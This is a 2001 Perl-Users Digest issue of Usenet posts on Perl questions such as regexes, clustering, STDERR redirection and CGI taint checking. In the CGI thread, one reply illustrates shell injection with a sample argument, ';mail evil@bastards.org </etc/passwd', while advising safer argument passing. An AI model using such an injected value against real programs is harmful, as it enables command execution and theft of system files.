[18458] in Perl-Users-Digest
Perl-Users Digest, Issue: 626 Volume: 10
daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Wed Apr 4 09:10:42 2001
Date: Wed, 4 Apr 2001 06:10:20 -0700 (PDT)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Message-Id: <986389820-v10-i626@ruby.oce.orst.edu>
Content-Type: text
Perl-Users Digest Wed, 4 Apr 2001 Volume: 10 Number: 626
Today's topics:
pod2man says: bad option in paragraph <ronald.fischer.gp@icn.siemens.de>
Re: QUE: Serial port interrupt handling from perl <mtsouk@freemail.gr>
Re: QUE: Serial port interrupt handling from perl <wayne.keenan@ntlworld.com>
Redirecting STDERR to a file <gtoomey@usa.net>
Re: Redirecting STDERR to a file (Rafael Garcia-Suarez)
Remove every other character? <mitiaNOSPAM@northwestern.edu.invalid>
Re: Remove every other character? (Rafael Garcia-Suarez)
Re: Remove every other character? (Philip Lees)
Re: Remove every other character? (Anno Siegel)
Re: Script optimization question (Philip Lees)
Re: Script optimization question (Logan Shaw)
Sending data from CGI script to other application <pratt@biop.ox.ac.uk>
Re: Sending data from CGI script to other application (Damian James)
Re: SMTP Connections <moiraine{NOSPAM}@qwest.net>
Re: Switch from MacPerl to ActivePerl and <STDIN> doesn <mitiaNOSPAM@northwestern.edu.invalid>
TRACING ROUTE(Tracert) to a sever /website from a webp <harisree@flashmail.com>
Re: TRACING ROUTE(Tracert) to a sever /website from a <gus@black.hole-in-the.net>
UPS Shipping cgi/perl script needed <kat@webkat.com>
Re: what are the new languages? <mitiaNOSPAM@northwestern.edu.invalid>
Digest Administrivia (Last modified: 16 Sep 99) (Perl-Users-Digest Admin)
----------------------------------------------------------------------
Date: Wed, 04 Apr 2001 09:51:28 +0200
From: Ronald Fischer <ronald.fischer.gp@icn.siemens.de>
Subject: pod2man says: bad option in paragraph
Message-Id: <3ACAD280.D612EA2D@icn.siemens.de>
One paragraph in my POD section has a sentence that starts with
"For example, the notation -p(attern) means ..." etc.
pod2man does not like the leading hyphen, and it complains:
/usr/local/bin/pod2man: bad option in paragraph 10 ... : ``-I'' should
be [CB]<-I>
Which is somewhat strange, as there is no "-I" at all. When I remove the
hyphen, everything is fine.
Can someone explain this?
Ronald
--
Ronald Otto Valentin Fischer <rovf @ earthling . net>
[now at: Siemens ICM N MR UR DE 6, phone: +49(Germany)+89-722-23368]
http://profiles.yahoo.com/ronny_fischer/
http://fusshuhn.ourfamily.com/cppincomp.html
------------------------------
Date: Wed, 4 Apr 2001 14:50:30 +0300
From: "Mihalis Tsoukalos" <mtsouk@freemail.gr>
Subject: Re: QUE: Serial port interrupt handling from perl
Message-Id: <9af1u7$1ctj$1@ulysses.noc.ntua.gr>
Hello and thanks.
Platform is Intel Linux.
Baudrate is 9600 bps.
thanks in advance,
Mihalis.
wayne.keenan <wayne.keenan@ntlworld.com> wrote in message
news:3ACA389C.8967163D@ntlworld.com...
> Hi
>
> >
> > > C collecter on the PC side, and then read your input from that buffer.
> >
> > Hello again.
> > That kind of a collector would be very helpfull to me. Can you please
give
> > me more info of how to write such a program in C?
>
> what platform?
>
> you might even be able to do the whole thing in perl, depending on you
baud rate
>
> > > what is it you are talking to?
> >
> > I have an external device that sends events to the serial port of my
linux
> > machine.
>
> I'd figured that bit!
> speed?
>
> regards
> Wayne
------------------------------
Date: Wed, 04 Apr 2001 13:47:36 +0100
From: "wayne.keenan" <wayne.keenan@ntlworld.com>
Subject: Re: QUE: Serial port interrupt handling from perl
Message-Id: <3ACB17E8.A527885B@ntlworld.com>
u can use Perl fo5r ALL of your needs then.
Device::Serial
and Expect,
with NO loss of characters.
I'll send some examples later, gotta go back to work.
Mihalis Tsoukalos wrote:
> Hello and thanks.
>
> Platform is Intel Linux.
> Baudrate is 9600 bps.
>
> thanks in advance,
> Mihalis.
>
> wayne.keenan <wayne.keenan@ntlworld.com> wrote in message
> news:3ACA389C.8967163D@ntlworld.com...
> > Hi
> >
> > >
> > > > C collecter on the PC side, and then read your input from that buffer.
> > >
> > > Hello again.
> > > That kind of a collector would be very helpfull to me. Can you please
> give
> > > me more info of how to write such a program in C?
> >
> > what platform?
> >
> > you might even be able to do the whole thing in perl, depending on you
> baud rate
> >
> > > > what is it you are talking to?
> > >
> > > I have an external device that sends events to the serial port of my
> linux
> > > machine.
> >
> > I'd figured that bit!
> > speed?
> >
> > regards
> > Wayne
------------------------------
Date: Wed, 4 Apr 2001 21:29:36 +1000
From: "Gregory Toomey" <gtoomey@usa.net>
Subject: Redirecting STDERR to a file
Message-Id: <GnDy6.8981$45.50412@newsfeeds.bigpond.com>
Hi everyone.
Is there a simple Perl command that will redirect STDERR to a file.
I have a setuid script running as a background daemon process under Linux
and I suspect it is getting a runtime error.
gtoomey
------------------------------
Date: Wed, 04 Apr 2001 11:58:01 GMT
From: rgarciasuarez@free.fr (Rafael Garcia-Suarez)
Subject: Re: Redirecting STDERR to a file
Message-Id: <slrn9cm330.7db.rgarciasuarez@rafael.kazibao.net>
Gregory Toomey wrote in comp.lang.perl.misc:
> Is there a simple Perl command that will redirect STDERR to a file.
open() will do :
open STDERR, ">logfile" or die $!;
--
Rafael Garcia-Suarez / http://rgarciasuarez.free.fr/
------------------------------
Date: Wed, 04 Apr 2001 01:04:43 -0600
From: Dmitry Epstein <mitiaNOSPAM@northwestern.edu.invalid>
Subject: Remove every other character?
Message-Id: <3ACAC78B.6733454E@northwestern.edu.invalid>
What would be an elegant (and preferably efficient) way to remove every
other character from a string? What if the values of all such
characters are the same (but there are other characters with this value
as well)?
--
Dmitry Epstein
Northwestern University, Evanston, IL. USA
mitia(at)northwestern(dot)edu
------------------------------
Date: Wed, 04 Apr 2001 07:30:28 GMT
From: rgarciasuarez@free.fr (Rafael Garcia-Suarez)
Subject: Re: Remove every other character?
Message-Id: <slrn9cljda.6kt.rgarciasuarez@rafael.kazibao.net>
Dmitry Epstein wrote in comp.lang.perl.misc:
> What would be an elegant (and preferably efficient) way to remove every
> other character from a string?
Is this what you want ?
s/(.)./$1/g
--
Rafael Garcia-Suarez / http://rgarciasuarez.free.fr/
------------------------------
Date: Wed, 04 Apr 2001 08:04:34 GMT
From: pjlees@ics.forthcomingevents.gr (Philip Lees)
Subject: Re: Remove every other character?
Message-Id: <3acad49a.68502481@news.grnet.gr>
On Wed, 04 Apr 2001 07:30:28 GMT, rgarciasuarez@free.fr (Rafael
Garcia-Suarez) wrote:
>Dmitry Epstein wrote in comp.lang.perl.misc:
>> What would be an elegant (and preferably efficient) way to remove every
>> other character from a string?
>
>Is this what you want ?
>
>s/(.)./$1/g
TMTOWTDI:
$_ = 'some long string';
my $x;
print map{++$x%2?$_:''}split//; # odd characters
print map{$x++%2?$_:''}split//; # even characters
:-)
Phil
--
Philip Lees
ICS-FORTH, Heraklion, Crete, Greece
Ignore coming events if you wish to send me e-mail
'The aim of high technology should be to simplify, not complicate' - Hans Christian von Baeyer
------------------------------
Date: 4 Apr 2001 08:37:22 GMT
From: anno4000@lublin.zrz.tu-berlin.de (Anno Siegel)
Subject: Re: Remove every other character?
Message-Id: <9aemg2$cfc$1@mamenchi.zrz.TU-Berlin.DE>
According to Dmitry Epstein <mitiaNOSPAM@northwestern.edu.invalid>:
> What would be an elegant (and preferably efficient) way to remove every
> other character from a string? What if the values of all such
> characters are the same (but there are other characters with this value
> as well)?
The obvious way is to use a regex:
( $y = $x) =~ s/(.)./$1/g;
...or build up the result character by character:
$y = '';
$y .= substr( $x, 2*$_, 1) for 0 .. length( $x)/2;
...or erase every character in an odd position:
$y = $x;
substr( $y, 2*$_ - 1, 1) = '' for reverse 1 .. length( $y)/2;
There must be a few more. A benchmark will tell which is most
efficient.
Anno
------------------------------
Date: Wed, 04 Apr 2001 07:34:33 GMT
From: pjlees@ics.forthcomingevents.gr (Philip Lees)
Subject: Re: Script optimization question
Message-Id: <3acacc2c.66344878@news.grnet.gr>
On Mon, 2 Apr 2001 17:59:51 +0100, "Andrew" <andrew@mvt.ie> wrote:
<snip algorithm description>
This is fun, as another poster said. I think the following does what
you want in a more Perlish way. I don't know if it will be fast enough
for you.
Phil
#!perl -w
use strict;
my ( @points, @clusters );
my $dist = 2; # distance boundary
while (<DATA>){
chomp;
push @points, [split/,/];
}
while ( @points ){
my @temp = @points;
my @to_cluster = shift @temp;
my @remaining;
foreach( @temp ){
push @{ is_in_cluster( $_, $to_cluster[0], $dist ) ? \@to_cluster
: \@remaining }, $_;
}
push @clusters, merge( @to_cluster );
@points = @remaining;
}
foreach ( @clusters ){
print "@$_\n";
}
####
sub is_in_cluster{ return ( ( $_[0]->[0] - $_[1]->[0] )**2 + (
$_[0]->[1] - $_[1]->[1] )**2 <= $_[2]**2 ) }
####
sub merge{
my $merge;
foreach( @_ ){
$merge->[0] += $_->[0];
$merge->[1] += $_->[1];
#replace the | in the next line by the separator you want
$merge->[2] .= $_->[2].'|';
}
$merge->[0] /= @_;
$merge->[1] /= @_;
# remove the next two lines if you don't want the centroid rounded to
# integers
$merge->[0] = int( $merge->[0] + 0.5 );
$merge->[1] = int( $merge->[1] + 0.5 );
chop $merge->[2];
return $merge;
}
__DATA__
1,0,one
1,1,two
12,5,three
25,1,four
0,1,five
13,4,six
1,3,seven
--
Philip Lees
ICS-FORTH, Heraklion, Crete, Greece
Ignore coming events if you wish to send me e-mail
'The aim of high technology should be to simplify, not complicate' - Hans Christian von Baeyer
------------------------------
Date: 4 Apr 2001 03:28:41 -0500
From: logan@cs.utexas.edu (Logan Shaw)
Subject: Re: Script optimization question
Message-Id: <9aelvp$rn4$1@boomer.cs.utexas.edu>
In article <9aab6f$kbv$1@kermit.esat.net>, Andrew <andrew@mvt.ie> wrote:
>Alright - I'll try explaining it again...
>Say you have the following list and a threshold distance of 2;
>1,0
>1,1
>12,5
>25,1
>0,1
>13,4
>1,3
>
>Take the first element and place it in a new list;
>1,1 1,0
>12,5
>25,1
>0,1
>13,4
>1,3
>Compare each element in list 1 to each element (currently only 1 element) in
>list 2, if they're close enough move them to list 2;
>12,5 1,0
>25,1 1,1 <- These are added because they're close enough
>to element 1
>13,4 0,1 <
>1,3
>Repeat the process, comparing to the last batch of points added:
>12,5 1,0
>25,1 1,1
>13,4 0,1
> 1,3 < this is added because it's next to 1,1
>Keep repeating until nothing new is added. Then process the result, getting
>a value of 0.75,1.25 as the centroid.
>Clear the second list and move the first element of the original list across
>25,1 12,5
>13,4
>And so on.....
I'd like to suggest a heuristic that could dramatically speed up your
processing if you happen to have a decent amount of distance between
groups of points.
The very first thing you do is to sort all your points by X
coordinate. Then, go through the sorted list of points, and if the X
distance between any two adjacent points is more than the threshold,
split the list at that point.
This will give you a number of sub-lists.
One you've got all these sub-lists, do the same thing on each sub-list
except with Y coordinates, creating sub-sub-lists.
No point in any sub-sub-list can possibly be near enough to any point
in any other sub-sub-list, so each sub-sub-list can be treated as a
completely separate instance of the problem, i.e. you can apply the
algorithm you described above to each sub-sub-list.
Since the processing time is much more than linear with the number of
points in a list, dividing the problem into smaller units is going to
be pretty helpful in reducing the computation required.
Of course, if you have 10000 points which fall into only two groups,
this isn't going to help much. (There are also some other cases where
it will fail to separate clumps of points that could obviously be
separated.)
--
A second, completely different approach is possible. Basically, the
idea is to draw a box (or circle if you want) around an arbitrary
point, and expand that box until expanding it doesn't cause any more
points to be included.
1. Pick a point at random.
2. "Draw" (i.e. imagine) a square centered at that point and having a
length the size of your threshold.
3. Determine whether any additional points lie inside that box.
You can determine this efficiently by creating two lists: one with
all points in order by X coordinate and another with all points in
order by Y coordinate. Do a binary search for each of the four
borders' positions, get all the points within the X interval and
within the Y interval, and then take the intersection of these sets
to get a set of points inside the box.
4. If additional points lie inside that box, expand the box and repeat
starting at step #3.
You can find the minimum and maximum X and Y coordinates of all
points already in the box and make the new borders of the box such
that the distance between a border and its closest point (of the
ones you've already found) is exactly the threshold. And that's
when you go back to #3 to see if any new points lie in the box.
5. Once you've got a box that surrounds some points and whose
edge doesn't come within the threshold of any of those points,
you've got a set of points on which you can run the algorithm
you've described above, so put that set of points aside, and go
back to #1 (if there are any points left).
This also is a heuristic for giving you a set of sets you can work on
independently, but I think it's a more thorough heuristic than the
other one.
Hope that helps.
- Logan
--
whose? my your his her our their _its_
who's? I'm you're he's she's we're they're _it's_
------------------------------
Date: Wed, 4 Apr 2001 11:44:44 -0500
From: "David Pratt" <pratt@biop.ox.ac.uk>
Subject: Sending data from CGI script to other application
Message-Id: <9aetdt$f96$1@news.ox.ac.uk>
I have tried the FAQ and books and google.com to find the answer to this.
It's probably easy so apologies if it is.
Using CGI.pm, I have a front end CGI script to an program that generates a
file related to protein structures (not particularly important that bit).
The CGI script allows options to be set by the user. Once submitted the
script reads these options and I want now to send them to the other program
which generates the output. Initially I was simply sending them via
system "make_surf -radius $radius -size $size" etc.
However, when running under perl -T as I have to to allow this to be safe,
perl complains about unsafe usage.
What is the safe way of passing information, having untainted it, to
subsiduary applications. This information also includes the random number of
the CGITempxxxxx file.
Thanks for any help
Dave
------------------------------
Date: 4 Apr 2001 11:31:13 GMT
From: damian@qimr.edu.au (Damian James)
Subject: Re: Sending data from CGI script to other application
Message-Id: <slrn9cm1e8.b56.damian@puma.qimr.edu.au>
David Pratt chose Wed, 4 Apr 2001 11:44:44 -0500 to say this:
>...
>system "make_surf -radius $radius -size $size" etc.
>
>However, when running under perl -T as I have to to allow this to be safe,
>perl complains about unsafe usage.
>
See perldoc perlsec for information about untainting.
>What is the safe way of passing information, having untainted it, to
>subsiduary applications. This information also includes the random number of
>the CGITempxxxxx file.
>
See perldoc -f system -- you probably want to pass the arguments to system
as a list, rather than a string, thus avoiding the need for the string to
be interpreted by the shell.
You want to avoid shell interpretation in case the last argument contains
something like:
;mail evil@bastards.org </etc/passwd
Of course, your untainting should have fixed that :-).
HTH,
Cheers,
Damian
--
@:=grep!($;+=m!$/|#!),split//,<DATA>;@;=0..$#:;while(@;){for($;=@;;--$;;){;(
$:=rand$;+$|)==$;&&next;@;[$;,$:]=@;[$:,$;]}push@|,shift@;if$;[0]==@|;select
$,,$,,$,,1/80;print qq x\bxx((@;+@|)*$|++),@:[@|,@;],!@;&&$/} __END__
Just another Perl Hacker # rev 3 -- a JAPH in progress, I guess...
------------------------------
Date: Wed, 04 Apr 2001 04:22:48 -0700
From: A_Geekette <moiraine{NOSPAM}@qwest.net>
Subject: Re: SMTP Connections
Message-Id: <3ACB0408.3171AF38@qwest.net>
Why don't you just answer my question, instead of being a snooty ass.
Speaking of which, you should probably watch who you call rude.
nobull@mail.com wrote:
> Please quoute _relevant_ parts of the message two which you are
> responding _in_ context. Quoting the whole of the message you are
> responding to at the end of your messages is considered very rude. Do
> you want to be considered very rude?
>
> Me <moiraine@qwest.net> writes:
>
> > Yes, but what's a good way to recieve and store mail in $user_mailbox without
> > having the user be listed under /etc/passwd.
>
> This is an MTA configuration question - it has nothing to do with Perl.
>
> Please see books/newsgroups/websites relating to your MTA.
>
> --
> \\ ( )
> . _\\__[oo
> .__/ \\ /\@
> . l___\\
> # ll l\\
> ###LL LL\\
oops....did I forget to snip? uh-oh.
--
Geekette
"Try Not. Do or do not. There is no try."
-If you don't know who said this,
I don't want to talk to you. ;-)
"Nothing is impossible, no matter how improbable."
-Anonymous
------------------------------
Date: Wed, 04 Apr 2001 01:10:26 -0600
From: Dmitry Epstein <mitiaNOSPAM@northwestern.edu.invalid>
Subject: Re: Switch from MacPerl to ActivePerl and <STDIN> doesn't work anymore
Message-Id: <3ACAC8E2.E049026@northwestern.edu.invalid>
> Are you saying your "DOS Box" closes before you can see you output?
No, I have the same problem: I am running the script from a DOS prompt,
but if the program requests input from STDIN and there is no piping or
redirection, the script just zips through the statement without waiting
for me to type in input. The same happens when I use Cygwin bash shell
instead of DOS.
--
Dmitry Epstein
Northwestern University, Evanston, IL. USA
mitia(at)northwestern(dot)edu
------------------------------
Date: Wed, 04 Apr 2001 11:30:15 -0000
From: hari <harisree@flashmail.com>
Subject: TRACING ROUTE(Tracert) to a sever /website from a webpage
Message-Id: <tcm1e7hd5fgp0b@corp.supernews.com>
Hello all,
I am in need of a perl script that can traceroute a given server and
display it s results.is this possible?.Also waht about having pininging a
site with a script?.is is possible?.
is it is can i tracert a given site through my isp to the destination
domain?.
Kindly help
--
Posted via CNET Help.com
http://www.help.com/
------------------------------
Date: Wed, 04 Apr 2001 11:33:56 GMT
From: Gus <gus@black.hole-in-the.net>
Subject: Re: TRACING ROUTE(Tracert) to a sever /website from a webpage
Message-Id: <986384036.23416.1.nnrp-09.c29f015a@news.demon.co.uk>
hari <harisree@flashmail.com> wrote:
> I am in need of a perl script that can traceroute a given server and
> display it s results.is this possible?.
Why not just run /sbin/traceroute ? Just make sure you clean up anthing
passed to system() that might be user-influenced ( -T, 'use strict' etc.)
--
gus@black.hole-in-the.net
0x58E18C6D
82 AA 4D 7F D8 45 58 05 6D 1B 1A 72 1E DB 31 B5
http://black.hole-in-the.net/gus/
------------------------------
Date: Wed, 04 Apr 2001 12:09:26 GMT
From: WebKat <kat@webkat.com>
Subject: UPS Shipping cgi/perl script needed
Message-Id: <3ACB1042.49ACB2AC@webkat.com>
I have a client who has a rather archaic shopping cart (the old
Quicktools Shoppro if anyone is familiar). I have this thing working
fine but I am in need of a UPS Shipping script to put in as a custom
shipping routine.
I just thought with all the cgi scripts and how many shopping carts use
cgi (or use to), that there would be some kind of canned script out
there but I haven't had any luck finding one.
Anyone have any suggestions? Tried UPS but they won't give one up.
Thank you!
Kat
kat@webkat.com
------------------------------
Date: Wed, 04 Apr 2001 00:55:54 -0600
From: Dmitry Epstein <mitiaNOSPAM@northwestern.edu.invalid>
Subject: Re: what are the new languages?
Message-Id: <3ACAC57A.4C69505B@northwestern.edu.invalid>
"wayne.keenan" wrote:
> and for the IDE:
> http://open-perl-ide.sourceforge.net
> http://cmdoc.codemagiccd.com/
Funny, I just tried both sites, and neither of them works, neither in
Netscape 4 nor in IE5. An international conspiracy?
------------------------------
Date: 16 Sep 99 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin)
Subject: Digest Administrivia (Last modified: 16 Sep 99)
Message-Id: <null>
Administrivia:
The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc. For subscription or unsubscription requests, send
the single line:
subscribe perl-users
or:
unsubscribe perl-users
to almanac@ruby.oce.orst.edu.
| NOTE: The mail to news gateway, and thus the ability to submit articles
| through this service to the newsgroup, has been removed. I do not have
| time to individually vet each article to make sure that someone isn't
| abusing the service, and I no longer have any desire to waste my time
| dealing with the campus admins when some fool complains to them about an
| article that has come through the gateway instead of complaining
| to the source.
To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.
To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.
For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.
------------------------------
End of Perl-Users Digest V10 Issue 626
**************************************